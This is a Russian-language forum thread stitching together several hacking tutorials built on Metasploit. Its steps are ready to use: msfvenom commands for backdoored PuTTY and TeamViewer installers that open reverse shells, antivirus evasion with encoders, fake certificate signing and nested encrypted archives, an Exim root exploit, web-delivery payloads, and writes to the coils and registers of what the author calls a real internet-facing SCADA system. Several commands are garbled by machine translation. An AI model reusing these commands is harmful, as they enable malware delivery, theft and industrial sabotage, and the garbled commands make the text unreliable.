$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_context -o payload.exe


2. x64/xor_dynamic

При использовании xor_dynamic ключ XOR не просто предопределен, а генерируется «на лету» во время выполнения. Такое динамическое поведение значительно затрудняет определение надежной сигнатуры статическими движками обнаружения, обеспечивая более надежную защиту, чем статические методы XOR.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_dynamic -o payload.exe


3. x64/zutto_dekiru

Кодер zutto_dekiru выводит обфускацию на новый уровень. Он использует передовые методы, включая шифрование и структурные преобразования полезной нагрузки. Это значительно увеличивает время обратной разработки и обеспечивает надёжную защиту как от статического, так и от динамического анализа.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe


4. Использование исполняемых шаблонов с msfvenom

К счастью, msfvenom предоставляет полезную функцию: шаблоны исполняемых файлов . Вместо того, чтобы создавать совершенно новый и подозрительно выглядящий файл, вы можете взять легитимный исполняемый файл — например, установщик или утилиту — и внедрить в него свою полезную нагрузку. Это создаёт так называемый исполняемый файл с бэкдором .

Шелл-код скрыт внутри реальной работающей программы, что затрудняет его обнаружение инструментами статического анализа. Комбинируя различные методы кодирования, форматы шелл-кода и реальные программы, вы увеличиваете шансы обойти антивирусные проверки.

Вот что дает вам этот подход:

  1. Внешний файл выглядит легитимным (как обычный установщик или приложение)
  2. Вредоносный код встроен, зашифрован или запутан
  3. Антивирусу сложнее обнаружить его во время базового сканирования.
Ниже приведен пример того, как msfvenom можно использовать для внедрения полезной нагрузки в легитимный исполняемый файл:

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -x TeamViewerx32.exe -e x86/shikata_ga_nai -a x86 –platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 70

В этой команде:

-p указывает полезную нагрузку

-x — исполняемый файл шаблона, который вы хотите использовать

-f exe задает формат вывода

-o задает имя нового файла

-i — это количество итераций для дальнейшего уклонения от обнаружения

-e — это кодировщик, используемый для сокрытия полезной нагрузки

Результатом является исполняемый файл, который по-прежнему работает так, как и ожидалось, но также доставляет полезную нагрузку при запуске.

Как видите, Defender не может найти в нем вредоносное ПО.



3-Flagged-File-1024x245.jpg



4-Windows-Defender-Undected-1024x312.jpg



В большинстве случаев, когда цель запускает исполняемый файл с бэкдором, ничего не происходит, что в некоторых случаях может вызвать подозрения. Чтобы повысить наши шансы, нам нужно инициировать продолжение обычного выполнения запущенного приложения, одновременно извлекая полезную нагрузку в отдельном потоке от основного приложения. Мы делаем это с помощью флага -k , как показано выше. Однако даже при включенном флаге -k цель заметит запущенный бэкдор только в том случае, если запустит шаблон исполняемого файла с бэкдором из среды CLI. В этом случае появится отдельное окно с полезной нагрузкой, которое не закроется, пока мы не завершим взаимодействие с сеансом полезной нагрузки на цели.

В этом примере мы будем использовать PuTTY, распространённый SSH-клиент для Windows. Внедряя нашу полезную нагрузку в PuTTY, мы увеличиваем шансы обойти антивирусные программы, поскольку файл выглядит и ведёт себя как обычное приложение.

Шаг 1: Загрузите PuTTY

Сначала скачайте исполняемый файл PuTTY. В Linux это можно сделать с помощью следующей команды wget:

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Это позволит загрузить 32-битную версию PuTTY.

Шаг 2: Внедрение полезной нагрузки с помощью msfvenom

Далее мы используем msfvenom для внедрения обратной оболочки Meterpreter в исполняемый файл PuTTY:​

msfvenom -a x86 –platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=10.10.15.148 lport=443 -e x86/shikata_ga_nai -i 43 -b "\x00" -f exe -o puttyX.exe

Давайте разберем, что делает эта команда:

-a x86 устанавливает архитектуру на 32-бит (для соответствия оригинальному двоичному файлу PuTTY)

–платформа windows указывает целевую операционную систему

-k обеспечивает сохранение исходной функциональности PuTTY после внедрения полезной нагрузки

-b «\x00» позволяет избежать нулевых байтов в полезной нагрузке (которые могут прервать выполнение)

Результатом является модифицированный исполняемый файл PuTTY ( puttyX.exe ), который по-прежнему работает нормально, но при запуске открывает бэкдор.

Шаг 3: Настройка прослушивателя в Metasploit

Поскольку это обратный шелл , полезная нагрузка попытается подключиться обратно к атакующей машине. Нам нужно настроить прослушиватель с помощью обработчика эксплойтов Metasploit .

Откройте Metasploit и выполните следующие команды:

использовать эксплойт/мульти/обработчик

установить полезную нагрузку windows/meterpreter/reverse_tcp

установить LHOST 10.10.15.148

установить LPORT 443

эксплуатировать


После запуска обработчика он будет ожидать подключения. Как только целевой объект запустит puttyX.exe , откроется сеанс Meterpreter, предоставляя вам контроль над системой.



puttyX-Meterpreter.jpg



meterpreter-reverse-tcp-1024x221.jpg



Инструменты уклонения

Хотя пользовательское кодирование полезной нагрузки — один из способов обхода механизмов безопасности, существуют также общедоступные инструменты, которые пытаются взять на себя всю сложную работу. Ниже приведено несколько примеров, которые стоит изучить в демонстрационных и учебных целях.

1. Пугало

ScareCrow когда-то был надёжным инструментом для доставки полезной нагрузки и уклонения от атак, но он переживал и лучшие времена. В настоящее время сложно эффективно использовать все его функции. Судя по проблемам на GitHub, большая часть нестабильности, по-видимому, связана с устаревшими реализациями SSL. Проект не обновлялся годами, что ограничивает его перспективность для серьёзного использования. Тем не менее, он всё ещё полезен для демонстрационных целей или базовых сценариев уклонения от атак.

Для начала вам потребуется установить язык программирования Go и вручную скомпилировать ScareCrow.

Основной поток использования:

Сначала сгенерируйте полезную нагрузку с помощью msfvenom .



Playload-msfvenom-1024x141.jpg



Затем подпишите полученный исполняемый файл поддельным сертификатом Microsoft с помощью ScareCrow.



ScareCrow-Microsoft-certificate-1024x569.jpg



Запустите его на целевой системе, и если все работает правильно, вы увидите обратное соединение с вашим прослушивателем.



Run-ScareCrow-on-target-system-1024x408.jpg



Несмотря на свои сегодняшние ограничения, ScareCrow по-прежнему может помочь вам понять, как работают подмена подписей и злоупотребление сертификатами при обходе системы безопасности.

2. PyInMemoryPE

PyInMemoryPE — это инструмент на основе Python, который запускает PE-файлы непосредственно в памяти, избегая операций записи на диск и потенциально оставаясь незамеченным некоторыми антивирусами. Он скомпилирован для работы в Windows и по-прежнему эффективен против некоторых антивирусов, однако имейте в виду: как только инструмент становится общедоступным, его анализируют, создают сигнатуры, и уровень обнаружения быстро растёт.

Рабочий процесс:

Сначала сгенерируйте полезную нагрузку



Generate-Payload-1024x165.jpg



Загрузите PyInMemoryPE для Windows.



Download-PyInMemoryPE-for-Windows-1024x399.jpg



Настройте простой http.server python3 -m для обслуживания исполняемого файла.



python3-m-http.server-1-1024x357.jpg



Из целевой системы Windows получите доступ к полезной нагрузке через cmd, чтобы выполнить ее в памяти.



payload-execute-memory-1024x95.jpg

И верните связь.



Meterpreter-Open-Session-1024x229.jpg



Скрытие полезных данных с помощью архивов и упаковщиков

Когда речь идёт об обходе обнаружения антивирусами, одним из самых простых и эффективных приёмов является сжатие с шифрованием. Архивирование полезных данных в защищённые паролем файлы .zip или .rar может обойти многие антивирусные решения. Хотя большинство современных сканеров помечают такие файлы как «не подлежащие сканированию», а не как явно вредоносные, они не выдают оповещений высокого уровня. Администратор должен провести ручное расследование, и многие не станут этим заниматься, пока что-то не заденет его.

Шаг 1: Создание полезной нагрузки

Начнем со стандартной полезной нагрузки обратного шелла Meterpreter msfvenom, закодированной пять раз с помощью shikata_ga_nai для повышения запутывания.

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 –platform windows -o ~/test.js -i 5



msfvenom-Meterpreter-reverse-shell-payload-1024x273.jpg



После генерации вы получите классический шелл-код. Далее вам нужно будет его дополнительно обфусцировать.

Шаг 3: Двойная обфускация архива

Теперь мы дважды заархивируем полезную нагрузку , добавляя пароль и удаляя расширения файлов на каждом этапе, чтобы запутать как антивирусную, так и случайную проверку.

Установить утилиту RAR

wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz

tar -xzvf rarlinux-x64-612.tar.gz && cd rar

Первый архив (защищен паролем)

rar a test.rar -p test.js

Вам будет предложено ввести пароль (используйте надёжный; для тестирования подойдёт даже что-то вроде «infected123»). Затем переименуйте архив, чтобы удалить расширение:

mv test.rar тест

Второй архив (вложенный)

rar a test2.rar -p test

mv test2.rar test2


Теперь у нас есть test2 — дважды заархивированная, защищённая паролем полезная нагрузка без видимого расширения файла. Антивирусы обычно не справляются с этим, если только не распаковывают оба уровня и не угадывают тип файла.

Шаг 4: Сканирование зашифрованного архива



Scan-the-Obfuscated-Archive-1024x198.jpg



Ни одного обнаружения!

Этот метод — эффективный способ перемещения данных в целевые системы и из них (например, по каналам управления или каналам эвакуации), но он также палка о двух концах. Многие «синие» команды отслеживают зашифрованные или несканируемые архивы, особенно если расширения удалены. Используйте его с осторожностью.

Заметка о паковщиках

Упаковщики выполняют аналогичную функцию, но работают на уровне двоичных файлов. Они оборачивают исполняемый файл в заглушку для распаковки, которая извлекает и выполняет исходную полезную нагрузку в памяти. Это не только сжимает двоичный файл, но и значительно затрудняет статический анализ.

Популярные упаковщики включают в себя:

  • UPX
  • МПРЕСС
  • Защитник Энигмы
  • Фемида
  • ExeStealth
  • Морфий
Вы можете использовать эти инструменты для добавления дополнительного уровня обфускации к вашим .exe-файлам до или после кодирования с помощью msfvenom.

Чтобы подробнее узнать о том, как антивирусы обрабатывают упакованные исполняемые файлы, ознакомьтесь с проектом PolyPack . В нём рассматривается, как различные методы упаковки влияют на обнаружение вирусов в различных антивирусных системах.

Заключительные мысли

Обход антивирусных программ Windows — обширная, постоянно развивающаяся и высокореактивная область. То, что работает сегодня, завтра может оказаться неэффективным. Microsoft и ведущие поставщики антивирусных программ активно отслеживают новые методы, регулярно обновляют их и выпускают исправления.

Если вы серьёзно настроены улучшить свои навыки обхода защиты, подумайте о переходе на C#. Многие современные инструменты Red Team и пользовательские загрузчики написаны на нём, что обеспечивает больший контроль над поведением ваших полезных нагрузок и их способностью к обходу. Изучение разработки на C# может открыть путь к более продвинутым тактикам, от ручного внедрения PE до отсоединения API и многого другого.

Уклонение — это не игра по принципу «один размер для всех», это игра в кошки-мышки, где ключевыми факторами являются креативность и умение приспосабливаться.
 
Антивируса антивирусами а с вирусами что
 
Добро пожаловать обратно, мои начинающие кибервоины!

Электронная почта — один из важнейших сервисов и протоколов в нашей повседневной цифровой жизни. Без неё большинство из нас не смогли бы функционировать. Несмотря на свою важность, в этих системах всё ещё существует множество уязвимостей.

6a4a49_22113877c94545b79715cfc91375053b~mv2.jpg


Ключевым протоколом электронной почты является SMTP (Simple Mail Transfer Protocol), работающий по умолчанию на порту 25. Этот протокол обеспечивает доставку электронной почты между доменами. Почтовый клиент использует протоколы IMAP и POP3. Подробнее о протоколе SMTP читайте в моей серии статей « Основы сетей для хакеров» .

6a4a49_4b300d909c674d4ba2a281c6e402a1be~mv2.png


Программное обеспечение, отвечающее за передачу электронной почты между SMTP-серверами, называется Mail Transfer Unit (MTU). В Linux существует множество MTU, включая Sendmail, Postfix и Exam. Хотя Sendmail существует дольше всех, Exim стал доминирующим MTU, охватывая более 50% всех почтовых серверов в Интернете. В результате, эксплуатация exim приведёт к наибольшему количеству скомпрометированных почтовых серверов.

В этом уроке мы рассмотрим разведку и взлом SMTP-сервера Exim.

Шаг №1: Запустите Kali

Первым шагом, конечно, является запуск Kali или любой атакующей Linux-системы с Metasploit и nmap как минимум.

6a4a49_0ef49cabc1a24d5f96f0e417218c6a60~mv2.png


Теперь откройте терминал. Для начала мы воспользуемся nmap для разведки SMTP-сервера. Подробнее о nmap можно узнать в моём руководстве здесь.

kali > nmap -sT -A 192.168.56.103 -p 25

6a4a49_02eae70d0b0e4a1baaf57dc1b6eba4b8~mv2.png


Как мы видим выше, nmap идентифицировал сервер exim на порту 25. Кроме того, он идентифицировал его как версию 4.68 и детализировал команды, которые он принимает (AUTH, HELO, EHLO и т. д.)

Шаг №2: Использование скриптов nmap (NSE) для сбора дополнительных данных на сервере Exim

Как мы знаем, в nmap имеется более 600 скриптов, расширяющих возможности этого превосходного и незаменимого инструмента (подробнее о скриптах nmap можно узнать здесь ). Если использовать ключ –script в сочетании с категорией скриптов, например, «smtp» с подстановочным знаком *, можно активировать nmap для проверки всех скриптов nmap из категории smtp, например:

кали > –script=smtp-* 192.168.56.103 -p 25

6a4a49_589585e45b6142bb9615a050cfbd385b~mv2.png


Как вы можете видеть выше, скрипты nmap раскрыли довольно много информации об этом SMTP-сервере, в том числе:

  1. команды, которые он поддерживает
  2. имена пользователей
  3. потенциальные уязвимости
Теперь, обладая этой информацией, мы готовы перейти к эксплуатации Metasploit.

Шаг №3: Запустите Metasploit

Теперь запустите Metasploit Framework.

kali > msfconsole

6a4a49_9b6b612556d24450832bf28cd5240452~mv2.png


Мы знаем, что сервер — exim, и скрипт nmap сообщил, что он может быть уязвим к уязвимостям CVE-2010-4344 и CVE-2010-4345. Давайте проверим, есть ли у нас эксплойт в Metasploit для взлома этого сервера. Можно использовать команду поиска, указав тип модуля и ключевое слово, например, «ëxim».

msf5> тип поиска:эксплуатировать exim

6a4a49_9578a4f1ed584ddb93574d283d6d8b44~mv2.png


Похоже, существует 6 эксплойтов против серверов Exim, и номер 4, похоже, нам нужен (это строковый формат «exploit» и он датирован 2010 годом). Давайте загрузим его в наш фреймворк и проверим, работает ли он.

msf5 > используйте exploit/unix/smtp/exim4_string_format

6a4a49_3d94edd8c319450fa02d051459f0631e~mv2.png


Теперь, когда мы его загрузили, давайте получим больше информации об этом эксплойте.

msf5> информация

6a4a49_33be08c760c1445ab0045c48ea5139b5~mv2.png
Как видно из раздела «Описание» информационного окна, этот эксплойт вызывает переполнение буфера кучи для версий exim до 4.69. Кроме того, внизу мы отмечаем, что этот эксплойт автоматически запускает эксплойт повышения привилегий (CVE-2010-4345), предоставляя нам права root. Отлично!

Шаг №4: Задайте параметры эксплойта

Прежде чем попытаться использовать уязвимость, нам необходимо установить ключевые параметры: RHOSTS, PAYLOAD, LHOST и LPORT.

msf5> установить RHOSTS 192.168.56.103

Теперь нам понадобится полезная нагрузка.

msf5> set PAYLOAD cmd/unix/reverse_perl

В случае успеха эта полезная нагрузка предоставит нам командную оболочку на целевом сервере. Обратите внимание, что это полезная нагрузка Perl. Поскольку на большинстве серверов UNIX/Linux по умолчанию установлен интерпретатор Perl, если наш эксплойт сработает, эта полезная нагрузка на Perl должна сработать. Также обратите внимание, что это «обратная» оболочка. Это означает, что она будет обращаться к нашей системе.

Теперь давайте просто зададим LHOST (us) и порт, через который мы хотим обмениваться данными. Мы можем выбрать любой порт, но при использовании порта 443 брандмауэр, скорее всего, будет открыт для HTTPS-трафика, и наше соединение, скорее всего, будет перекрыто другим трафиком на этом порту, что снижает вероятность его обнаружения.

msf5> установить LHOST 192.168.56.101

msf5 > установить LPORT 443


6a4a49_73849f852c9a4cce9b5039856538f886~mv2.png


Наконец, давайте попробуем скомпрометировать этот почтовый сервер. Просто введите эксплойт.

msf5> эксплойт


6a4a49_8518ceda99c54889ba4dc1381c848953~mv2.png


Как вы видите, Metasploit открыл командную оболочку на сервере!

Интересно, что командная строка, как при взломе системы Windows или использовании meterpreter, отсутствует. Мы получаем просто пустую строку.

Не отчаивайтесь. Теперь вы можете просто вводить команды Linux в пустую строку и запускать их на сервере!

Для начала проверим, какой у нас пользователь. Можно выполнить команду id или whoami .

6a4a49_f55637256f1b4c49820033b0aeb4db9b~mv2.png


Как вы видите, система ответила uid=0 или root, а когда я ввел «whoami», она подтвердила, что мы являемся пользователем root.

Далее проверим, в каком месте файловой системы Linux мы находимся (pwd), а также версию сервера (uname -a).

Краткое содержание

Почтовые серверы — один из важнейших элементов наших цифровых экосистем. Взлом этих серверов злоумышленниками может оставить нас без основного канала связи или, что ещё хуже, привести к отправке писем от нашего имени, которые мы не отправляли и не авторизовали!
 
Добро пожаловать обратно, мои начинающие кибервоины!

Metasploit, один из моих любимых инструментов для взлома и пентестинга, обладает таким обширным функционалом, что даже после моих многочисленных обучающих программ я лишь поверхностно рассмотрел его возможности. Например, его можно использовать с Nexpose для сканирования уязвимостей, с nmap для сканирования портов, а благодаря многочисленным вспомогательным модулям — практически безграничные возможности для взлома.

6a4a49_14e9bc494e0b49fa89f3701915983d95~mv2.jpg


Среди модулей эксплойтов есть категория, которую мы не рассматривали, — эксплойты веб-доставки. Эти эксплойты позволяют нам открыть веб-сервер на атакуемой системе и затем сгенерировать простую скриптовую команду, которая при выполнении на жертве откроет оболочку Meterpreter на целевой системе. Этот эксплойт веб-доставки может использовать скрипты Python, PHP или Windows PowerShell.

Конечно, ваша задача — доставить скрипт на целевую машину. Это, вероятно, означает, что вам потребуется физический доступ к системе или поместить код в безобидный на вид объект, который жертва будет вынуждена выполнить.

В этом руководстве мы будем эксплуатировать систему Linux или Mac. Поскольку обе системы являются UNIX-подобными, в них по умолчанию встроены интерпретаторы Python. Если нам удастся получить команду скрипта, сгенерированную этим эксплойтом, на целевой системе, мы получим полный контроль над ней, включая регистрацию нажатий клавиш, включение веб-камеры, запись с микрофона, а также чтение и удаление любых файлов в системе.

Давайте начнем.

Шаг 1 : Откройте терминал

Первый шаг, конечно, — запустить Kali и открыть терминал.

6a4a49_12ac7333426f4c9fb1f6df5ca62550cf~mv2.png


Шаг 2 : Запустите Metasploit и загрузите эксплойт

Затем запустите Metasploit, введя:

kali > msfconsole

Это должно открыть msfconsole, как показано ниже.

6a4a49_900e80b105e34da3a34e5e5c5c4e3afb~mv2.png


Затем нам нужно загрузить эксплойт:

msf > использовать exploit/multi/script/web_delivery

Устанавливаем IP нашей атакующей системы:

msf > установить LHOST 192.168.181.153

И устанавливаем порт, который хотим использовать:

msf > установить LPORT 4444

Конечно, я использую свой частный IP-адрес в своей лаборатории, но если цель находится за пределами вашей локальной сети, вам, скорее всего, придется использовать свой публичный IP-адрес, а затем переадресовать порт.

Шаг 3: Показать параметры

Теперь, когда эксплойт загружен и готов к использованию, давайте рассмотрим его параметры. Введите:

msf > показать параметры

6a4a49_d0afee4737bd427583c293cdb8d0d95f~mv2.jpg


Похоже, мы настроили все необходимые параметры. Прежде чем продолжить, давайте узнаем больше информации об этом эксплойте. Введите:

MSF > информация

6a4a49_3a4db8af735942c2aed69c8044e7d858~mv2.jpg


Как вы можете видеть выше, этот эксплойт запускает веб-сервер на нашей атакующей системе, и при выполнении сгенерированной команды на целевой системе загружается полезная нагрузка. Кроме того, эта атака не записывает данные на диск, поэтому она не должна вызывать срабатывание антивирусного ПО на системе жертвы.

Шаг 4 : Запуск эксплойта

Следующий шаг — запуск эксплойта. Это запустит веб-сервер на нашей атакующей системе и сгенерирует команду Python, которую мы можем использовать для подключения к этому веб-серверу. Однако перед этим нам нужно установить цель на 0, выбрав эксплойт Python.

msf > установить цель 0

Теперь мы можем ввести exploit:

msf > эксплуатировать

6a4a49_4948bc594fee4ac9bf0c329fda1a623b~mv2.jpg


Обратите внимание, что последнее, что пишет этот эксплойт, — «Выполните следующую команду на целевой машине», а затем следует команда, которую нам нужно выполнить. Скопируйте эту команду.

Шаг 5 : Выполните команду на Система жертв

Затем выполните эту команду на компьютере-жертве. В данном случае я использую систему Ubuntu 14.04. Перед командой необходимо указать sudo, так как для её выполнения требуются права root.

6a4a49_2c5e73ca53684af796938adeb36f4f54~mv2.jpg


Затем нажмите Enter. Вернувшись в систему Kali, вы увидите, что на целевой системе запущен Meterpreter! Это устройство принадлежит нам!

6a4a49_af5c6bb726eb4b538e4526ad1a8278de~mv2.png


Изначально Meterpreter работает в фоновом режиме. Чтобы вывести его на передний план, введите:

msf > сеансы -l

Это выводит сеанс Meterpreter на передний план, и мы получаем приглашение meterpreter!

Для управления системой мы можем запускать команды или скрипты Meterpreter, хотя большинство скриптов написано для систем Windows.
 
Metasploit широко известен как мощный инструмент для проведения тестов на проникновение и взлома традиционных IT-систем, но мало кто знает, что он также обладает возможностями в менее известном, но всё более важном секторе SCADA/ICS. Информационная безопасность SCADA/ICS — это новый рубеж в нашей отрасли!

6a4a49_b7bc55acb28441d5810785cc8d199ee7~mv2_d_2304_1728_s_2.jpg


Если вы хотите узнать больше о безопасности и взломе SCADA/ICS, ознакомьтесь с моим разделом о взломе SCADA, доступным здесь.

Системы SCADA/ICS используют совершенно иные протоколы, чем традиционные ИТ-системы, использующие TCP/IP. Эти протоколы разнообразны и обычно разрабатывались для передачи данных по последовательному интерфейсу (RS485). В результате уязвимости в отрасли SCADA/ICS имеют совершенно иную природу.

Metasploit портировал ряд вспомогательных и эксплойтных модулей для SCADA/ICS. Полный список см. в этой статье в разделе «Взлом SCADA».

В этом руководстве мы сосредоточимся на самом распространённом протоколе SCADA/ICS — Modbus. В Metasploit есть несколько модулей, специально разработанных для исследования и эксплуатации этого наиболее распространённого протокола. В качестве объекта исследования я буду использовать работающую SCADA-систему. Это не лаборатория и не виртуальная машина. Это случайная система, выбранная из интернета. Я удалил её IP-адрес, чтобы защитить наивных и непосвященных. Никакого ущерба не было, и все настройки были возвращены в исходное состояние.

Шаг №1: Поиск модулей Modbus

Для начала давайте воспользуемся функцией поиска в Metasploit, чтобы найти модули Modbus .

msf > поиск modbus

6a4a49_0f22bf0fd00d41b7a8b4bed9718d7ac4~mv2.png


Как видите выше, мы обнаружили пять (5) модулей, все из которых относятся к категории вспомогательных. Иногда эти вспомогательные модули в Metasploit действительно обладают возможностями, похожими на эксплойт, как мы увидим далее.

Давайте загрузим модуль с уникальной разведывательной функцией под названием modbusdetect . Как следует из названия, он способен определить, используется ли на сайте протокол Modbus . Это станет первым шагом разведки и, в конечном итоге, эксплуатации уязвимости.

msf > использовать вспомогательный/сканер/scada/modbusdetect

Для этого модуля пользователю необходимо только задать IP-адрес целевого устройства как RHOST. Порт по умолчанию для Modbus — 502, поэтому RPORT по умолчанию установлен на 502.

6a4a49_616b5ed2daf14935be06b7a72d63da28~mv2.png


При запуске этого модуля он подключается к порту 502 целевой системы и отправляет запрос, чтобы определить, использует ли она Modbus. Как видно выше, он подтверждает, что наша цель использует Modbus, и теперь мы можем продолжить разведку и эксплуатацию уязвимости на основе Modbus.

Шаг №2: Найдите идентификаторы объектов

Теперь, когда мы убедились, что целевое устройство действительно использует протокол Modbus, следующим шагом будет перечисление идентификаторов устройств (Unit ID) подключённых устройств. Это похоже на пинг в TCP/IP, но результаты немного менее надёжны. Modbus допускает до 254 подключённых устройств. Для управления любым устройством Modbus или связи с ним нам необходим его идентификатор (UNIT ID) , что аналогично использованию IP-адресов в TCP/IP.

msf > используйте auxilary/scanner/scanner/modbus_findunitid

6a4a49_66a9c22842e945d2ac3b7639959e0387~mv2.png


Опять же, для этого модуля единственная переменная, которую нам нужно установить, — это RHOST .

msf > set RHOST <IP-адрес>

msf > эксплуатировать


6a4a49_d466728e5c54437ca3cbc0cc860d8d84~mv2.png


Как видите, этот модуль успешно обнаружил идентификаторы каждого из подключенных устройств. Эти идентификаторы критически важны для чтения и записи данных, как мы увидим далее.

Шаг №3: Чтение и запись устройств Modbus

Наш следующий модуль Modbus — это modbusclient . Он позволяет считывать и записывать данные как с катушек, так и с регистров этих SCADA-систем. Чтение данных может привести к утечке информации, но запись данных ещё более опасна, поскольку может изменить различные настройки на предприятии и вызвать сбой (будьте бдительны, кибервоины!).

Давайте загрузим этот модуль.

msf > использовать вспомогательный/сканер/scada/modbusclient

6a4a49_61cd002aadd843ca887ac5bc64eee444~mv2.png


Для этого модуля требуется задать несколько переменных. Наиболее важной из них является ACTION . Эту переменную можно задать следующим образом:

1. ЧТЕНИЕ_РЕГИСТРОВ

2. ЗАПИСЬ_РЕГИСТРОВ

3. ЧТЕНИЕ_КАТУШЕК

4. ЗАПИСЬ_КАТУШЕК

Также обратите внимание, что значение по умолчанию для UNIT_NUMBER равно 1, а для NUMBER — 1. Это означает, что по умолчанию действие будет выполняться только для первого идентификатора UNIT ID и только для первого устройства. Чтобы увеличить количество устройств, на которые будет действовать ACTION, просто измените переменную NUMBER. В данном случае я установил переменную NUMBER равной 100. Это означает, что действие начнётся с идентификатора UNIT ID 1 и будет прочитано 100 регистров.

6a4a49_8c0d1ca0ab164ea096c75b7cbe48994f~mv2.png


Как видно на снимке экрана выше, нам удалось прочитать значения из первых 100 регистров.

Теперь попробуем записать данные в катушки. В терминологии SCADA/ICS катушки — это сетевые устройства, которые могут быть либо включены, либо выключены. Их настройки — 1 или 0. Изменяя значения катушки, вы включаете или выключаете её.

Во-первых, нам нужно изменить ACTION на WRITE_COIL .

msf > set ACTION WRITE_COIL

6a4a49_b01a649cac084c2fa75e15f3870b99b5~mv2.png


Затем установите DATA равным 1 (допустимыми значениями являются только 1 или 0).

msf > установить ДАННЫЕ 1

6a4a49_263f71f3d79a47e8be8c8892b9a15672~mv2.png


Как видите выше, мы успешно изменили значение катушки на 1! Чтобы проверить, действительно ли изменилось значение, теперь можно вернуться и считать показания катушек.

msf > set ACTION READ_COILS

6a4a49_d0a770a2058e41f4b9ef8412f5a3f1e1~mv2.png


Значение первой катушки было успешно установлено на 1, в то время как все остальные по-прежнему установлены на 0.

Теперь попробуем изменить значения в регистрах. Это области памяти, в которых хранятся значения, используемые устройством для настройки, например, продолжительности работы насоса или давления, при котором должен открываться клапан. Изменение этих значений может иметь серьёзные последствия.

Давайте сначала запишем значения в регистры.

msf > set ACTION WRITE_REGISTERS

Затем укажите данные, которые нужно записать в регистры. Значения данных задаются с помощью переменной DATA, и несколько значений должны быть добавлены через запятую. В данном случае добавим 5 (пять) значений 27 к первым пяти регистрам.

msf> набор ДАННЫХ 27,27,27,27,27

После нажатия кнопки «Эксплойт» Metasploit возвращает информацию о том, что записано 5 значений.

6a4a49_ce13d54a6d1742259e6361c64af5b1d8~mv2.png


Чтобы проверить, действительно ли изменились значения, мы можем изменить ACTION на READ_REGISTERS.

msf > set ACTION READ_REGISTERS

Как видите, значение первых 5 регистров было изменено на 27. Это может быть очень опасно!

Шаг №5. Загрузите релейную логику ПЛК.

В сети SCADA/ICS ПЛК играют роль «мозга», управляющего всеми процессами, происходящими внутри сети. Эти небольшие компьютеры запрограммированы на управление подключенными к ним устройствами. Программное обеспечение называется «релейной логикой».

Злоумышленник, вероятно, захочет скачать и проанализировать логику ПЛК, чтобы понять, чем и как он управляет. Поняв логику, можно изменить значения, что может иметь разрушительные последствия для объекта. Никто, кроме администратора, не должен иметь доступа к этой логике.

К сожалению, некоторые администраторы не защищают свою лестничную логику и делают её доступной любому, кто попытается её скачать. Стоит отметить, что известная вредоносная программа Stuxnet сделала это перед загрузкой новой, разрушительной лестничной логики в иранские центрифуги для обогащения урана.

Давайте попробуем сделать это на нашем целевом объекте.

Первый шаг — загрузить нужный модуль.

msf > использовать вспомогательный/администратор/scada/modicon_stux_transfer

Нам нужно только установить нашу переменную MODE на прием (RECV), а нашу переменную RHOST — на переменную нашей цели.

6a4a49_ae8e9e992cf34edf8d3cce2df4a17c78~mv2.png


При вводе эксплойта, если логика лестницы не защищена, начнется загрузка программы, что мы успешно и сделали.

Заключение

Доступ ко многим промышленным системам и управление ими можно осуществлять с помощью простых модулей Modbus
в Metasploit. В злоумышленных руках подобные манипуляции с катушками и регистрами могут привести к катастрофическим последствиям. Отрасли SCADA/ICS пора серьёзно заняться вопросами безопасности, прежде чем возникнут столь серьёзные последствия!
 
Иногда нам может потребоваться создать пользовательскую полезную нагрузку (подробнее о полезных нагрузках Metasploit см. в разделе «Основы Metasploit, часть 3: Полезные нагрузки »). Например, мы можем встроить полезную нагрузку/прослушиватель в приложение или другое вредоносное ПО, надеясь, что жертва нажмёт на ссылку, и мы сможем получить контроль над её компьютером. Именно для этого и предназначен msfvenom.

6a4a49_2bc602dcc9fd45d9924981d075a9b689~mv2.jpg


Раньше для перекодирования полезной нагрузки в Metasploit приходилось пропускать (|) msfpayload через msfencode для создания пользовательской полезной нагрузки. В 2015 году Rapid7, разработчики Metasploit, представили новую команду, которая заменяет громоздкую комбинацию msfpayload и msfencode, упрощая процесс перекодирования полезной нагрузки Metasploit. Эта новая команда стандартизирует параметры командной строки и повышает скорость.

Давайте рассмотрим msfvenom в нашем руководстве по основам Metasploit здесь.

Краткое замечание о перекодировании полезных данных

Перекодирование полезной нагрузки Metasploit часто рекламировалось как способ обхода антивирусов и других устройств безопасности, но разработчики антивирусного ПО не глупы. Теперь они нашли способы обнаружить даже перекодированную полезную нагрузку Metasploit.

Теперь, вместо того чтобы просто искать сигнатуру закодированной вами полезной нагрузки, они просто ищут сигнатуру шаблона, который Metasploit использует для перекодирования (эти шаблоны находятся в usr/share/metasploit-framework/data/templates). Таким образом, независимо от того, сколько различных схем кодирования вы используете, шаблон имеет сигнатуру, и антивирус её обнаружит.

Но не волнуйтесь, существуют способы перекодировать полезную нагрузку, которые антивирусное ПО всё ещё не обнаруживает. Ознакомьтесь с моей серией статей «Как обойти антивирус с помощью»:

(1) OWASP-ZSC

(2) шелтер

(3) Уклонение от завесы

Шаг 1: Запустите Kali и Metasploit

Начнём с запуска Kali и открытия консоли msfconsole . Это можно сделать, просто набрав « msfconsole » или воспользовавшись графическим интерфейсом, перейдя в раздел « Приложения» -> «Kali Linux» -> «10 лучших инструментов безопасности» -> «Metasploit Framework» .

kali > msfconsole

Сделав это, вы окажетесь в интерактивной оболочке Metasploit.

6a4a49_c46f6dd87e464c05a28f88b86c47ebfc~mv2.png


Шаг 2: Посмотрите параметры msfvenom

Теперь в командной строке введите «msfvenom», чтобы открыть страницу справки (вы также можете использовать ключ -h, чтобы получить тот же экран).

msf > msfvenom

6a4a49_490a0eaf110f431e9c0235ade3be883d~mv2.png


Давайте рассмотрим некоторые наиболее важные опции из этого списка.

